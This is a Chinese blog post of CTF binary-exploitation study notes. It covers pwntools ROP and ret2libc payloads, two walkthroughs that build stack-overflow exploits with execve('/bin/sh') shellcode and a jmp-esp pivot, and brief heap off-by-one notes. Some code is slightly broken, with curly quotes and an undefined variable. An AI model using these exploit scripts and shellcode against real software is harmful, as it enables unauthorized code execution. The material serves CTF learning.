pwn_by_examples

Posted by Mr.Be1ieVe on Tuesday, January 28, 2020

x64参数按在rdi,rsi,rdx,rcs,r8,r9依次储存

IDA部分

shift f12 字符串

n 重命名

x 查看引用

bash部分

cyclic 200 #生成循环 200个
cyclic -l xxxxx #计算偏移

PWNTOOLS部分

u64 
asm 
disasm 
from pwn import *
sh = process('./ret2libc2')
elf = ELF('./ret2libc2')
rop = ROP(elf)

payload = 'a' * offset
payload += p32(elf.plt['gets'])
payload += p32(rop.search(8).address)
payload += p32(elf.bss() + 0x100)
payload += p32(elf.plt['system'])
payload += p32(0)
payload += p32(elf.bss() + 0x100)
sh.sendline(payload)

sh.sendline('/bin/sh\x00')
sh.interactive()

先执行了pop_ret 然后执行gets,并放到了bss()+ 0x100的地方。随后system(elf.bss()+ 0x100)

pwndbg部分

ret2shellcode

jmp esp

函数返回的时候esp会刚好指向返回地址的下一个地址

image-20200125172524547


作者:看雪学院 链接:https://www.jianshu.com/p/1bdac9837eff 来源:简书

第一题(堆栈直接执行shellcode)

接下来这题,我们再轻松一点,可以直接在堆栈中执行程序。

pwn5(参考“阅读原文”)

继续前面的套路。

第一步,查看保护

img

发现,可以直接在堆栈上执行程序了,开启的是PIE,地址随机化的保护。

第二步,判断漏洞函数。

img

发现函数是read,仅仅读取0x40(64)个字节。

第三步,计算目标变量的在堆栈中距离ebp的偏移

img

EBP的内容为:0x3761413661413561

$ python patternLocOffset.py -l 700 -s 0x3761413661413561

[*] Create pattern string contains 700 characters ok!

[*] No exact matches, looking for likely candidates…

[+] Possible match at offset 16 (adjusted another-endian)

[+] take time: 0.0005 s

距离EBP的偏移是16个字节,距离存放的返回地址是16+8=24个字节。

这里可以发现IDA分析的又是正确的了,0x10个字节。

第四步和第五步,分析是否已经载入了可以利用的函数

如system,execve等

发现,并没有上述函数。但是由于堆栈可以执行,因此我们可以考虑直接将shellcode阻止在payload里面。因此,这里和第五步分析是否有字符串/bin/sh合并了,我们可以自己放置字符串,并且调用对应的地址了。

img

理论上,我们可以直接利用pwntools产生的shellcode来进行部署,但是这道题有点特殊。在返回地址之后所剩余的空间=64-24-8=32个字节(返回地址还要占用8个字节),因此实际部署shellcode的长度还剩下32个字节,使用pwntools产生的shellcode有44个字节,太长了。因此,我们可以从网上找到更短的shellcode:

# 23 bytes

# https://www.exploit-db.com/exploits/36858/

shellcode_x64 = “\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05”

它的汇编形式是:

# char *const argv[]

xorl %esi, %esi

#

‘h’ ’s’ ‘/’ ‘/’ ’n’ ‘i’ ‘b’ ‘/’

movq $0x68732f2f6e69622f, %rbx

#

for ‘\x00’

pushq %rsi

pushq %rbx

pushq %rsp

#

const char *filename

popq %rdi

#

__NR_execve 59

pushq $59

popq %rax

#

char *const envp[]

xorl %edx, %edx

syscall

好了,shellcode确定好了,我们现在还有一个问题。Shellcode执行的地址如何确定呢?shellcode的地址,其实就是buf的地址加上32个字节的偏移。

我们前面发现,该程序是动态改变地址的,因此静态的确认buf地址是不可行的,进而静态的确认shellcode的地址是不可行的。

处理到这里好像有点死胡同了,我们发现程序中有printf函数,理论上可以利用它来打印buf的地址,然后实时的计算buf+32的地址,就能够得到shellcode的地址。但是,我们回头看看程序本身的执行,会发现:

img

img

它实际上已经为我们解决了这个问题,自己输出了buf的地址(= = CTF题目的难易程度真的是微妙之间呀)。

那么,我们的exp思路就是: 实时读取buf的地址,计算buf+32得到shellcode的地址,放置在payload中。

from pwn import *

code = ELF(’./pwn5’)

# 23 bytes

# https://www.exploit-db.com/exploits/36858/

shellcode_x64 = “\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05”

sh.recvuntil(’[’)

buf_addr = sh.recvuntil(’]’, drop=True)

buf_addr = int(buf_addr, 16)

payload = ‘b’ * 24 + p64(buf_addr + 32) + shellcode_x64

sh.sendline(payload)

sh.interactive()

堆栈的布置图,以及地址的相对位置,以buf为起点。

img

第二题(控制esp进行精准打击)

接下来,我们来点有难度的。在这个程序中,我们的payload实在放不下了,即使是23字节,那么怎么办呢?

pwn6(参考“阅读原文”)

继续前面的过程:

第一步:检测保护情况

img

发现,是个三无程序。么有任何保护,看起来很简单?哈哈,并没有。看官请继续。

第二步,判断漏洞函数

如gets,scanf等:

img

发现是fgets函数,仅仅读取50个字节的字符长度。

第三步

计算目标变量的在堆栈中距离ebp的偏移。

方法和前面类似,发现偏移距离ebp是0x20,那么距离ret_addr就是0x20+4=0x24(36)字节了。

第四步和第五步

分析是否已经载入了可以利用的函数。发现并没有:

img

$ ROPgadget –binary stack_pivoting_1 –string ‘/bin/sh’

Strings information

============================================================

字符串自然也是没有的。

我们考虑利用shellcode,好像可以类似于上一题的操作了。但是并不能,留给我们布置shellcode的长度为50-36-4=10字节(同样有4个字节的返回地址存放)!尴尬不==,放两个地址就没有位置了。但如果你能够厉害到用10个字节做shellcode,请大胆分享出来!

那么怎么办呢?

既然,堆栈溢出的位置不行了,那么我们就把shellcode放在栈里面吧!因为堆栈具有可执行的权限,因此这样完全是可行的。

这里,我先放图出来解释一下思路:

img

我们这样就总共有0x20(36个字节)的位置存放shellcode的了,顿时感觉找到了新出路。但是,要做到跳转到放置shellcode的位置,似乎并没有那么简单。要达到这个目的,我们需要做到以下几件事情:

推算shellcode放置的地址

跳转到shellcode放置的位置

首先,第一点,shellcode的位置就是发射payload的时候esp_old的位置,我们可以推算出来,当程序提取完返回地址之后,esp指向的地址距离esp_old的地址为0x20+4(ebp)+4(ret_addr)=0x28。因此,我们需要用当前的esp-0x28,得到的就是shellcode的地址。

对于第二点,我们如何让eip顺利的依次取出我们设计好的路线图呢?在ret_addr,我们需要寻找到一个gadget,它能够跳转到esp的位置,以继续往后执行栈上的代码。注意,这里我们为什么不直接将可执行的代码布置在ret_addr的位置,因为这里是原本的函数提取返回函数地址的地方,它并不会执行这里位置的代码,而是执行这个位置的内容指向的地址的代码。我们需要jmp esp这个操作,来让程序流获得在栈上执行的先河。

$ ROPgadget –binary stack_pivoting_1 –only ‘jmp|ret’ | grep ’esp’

0x08048504 : jmp esp

发现只有这么一个地址。0x08048504。这也正是图中的位置。注意,当我们取出ret_addr里面的地址的时候,esp已经+4了,因此就会指向我们的下一步操作:跳转回esp_old的位置。

在这里,我们直接可以选择让pwntools产生可执行的代码”sub esp 0x28; jmp esp”。注意,这里可以是直接运行的代码,因为我们的程序已经开始在栈上执行了,而不再是取出地址了。

最后的EXP按照下面这样布置:

from pwn import *

sh = process(’./pwn6’)

shellcode_x86 = “\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73”

shellcode_x86 += “\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0”

shellcode_x86 += “\x0b\xcd\x80”

sub_esp_jmp = asm(‘sub esp, 0x28;jmp esp’)

jmp_esp = 0x08048504

payload = shellcode_x86 + (

0x20 - len(shellcode_x86)) * ‘b’ + ‘bbbb’ + p32(jmp_esp) + sub_esp_jmp

sh.sendline(payload)

sh.interactive()

注意,这里我们又启用了另外一段代码:

它更加短,只有21个字节。Shellcode越短是越好的。它的汇编对应如下:

shellcode_x86 = “\x31\xc9” # xor ecx, ecx

shellcode_x86 += “\xf7\xe1” # mul ecx

shellcode_x86 += “\x51” # push ecx

shellcode_x86 += “\x68\x2f\x2f\x73\x68” # push 0x68732f2f

shellcode_x86 += “\x68\x2f\x62\x69\x6e” # push 0x6e69622f

shellcode_x86 += “\x89\xe3” # mov ebx, esp

shellcode_x86 += “\xb0\x0b” # moval, 0xb

shellcode_x86 += “\xcd\x80” # int 0x80

1、编辑功能是否存在溢出

2、delete地方是否存在多重释放漏洞,删除了节点之后有没有清0

​ 检查了节点是否存在,就不能double free

​ heaparray[v1] = 0LL 清零了

3、在show函数中有没有检查节点是否存在

v0[1] = malloc(size) 没有对大小限制也算漏洞

只有分配大小不能被2*sizeof(size_t)时才会把下一块chunk的prev_size当作自己的内容区域

off by one 漏洞

要使用off by one,malloc大小不能是16的倍数(64位情况下)

read_input(*(headparray[v1] + 1), *heaparray[v1] + 1LL);

能够修改下一块chunk的size字段,这种情况一般被称为堆扩展技术

image-20200126175331744

image-20200126175341238

image-20200126181904887

「真诚赞赏,手留余香」

Mr.Be1ieVe's Treasure

真诚赞赏,手留余香

使用微信扫描二维码完成支付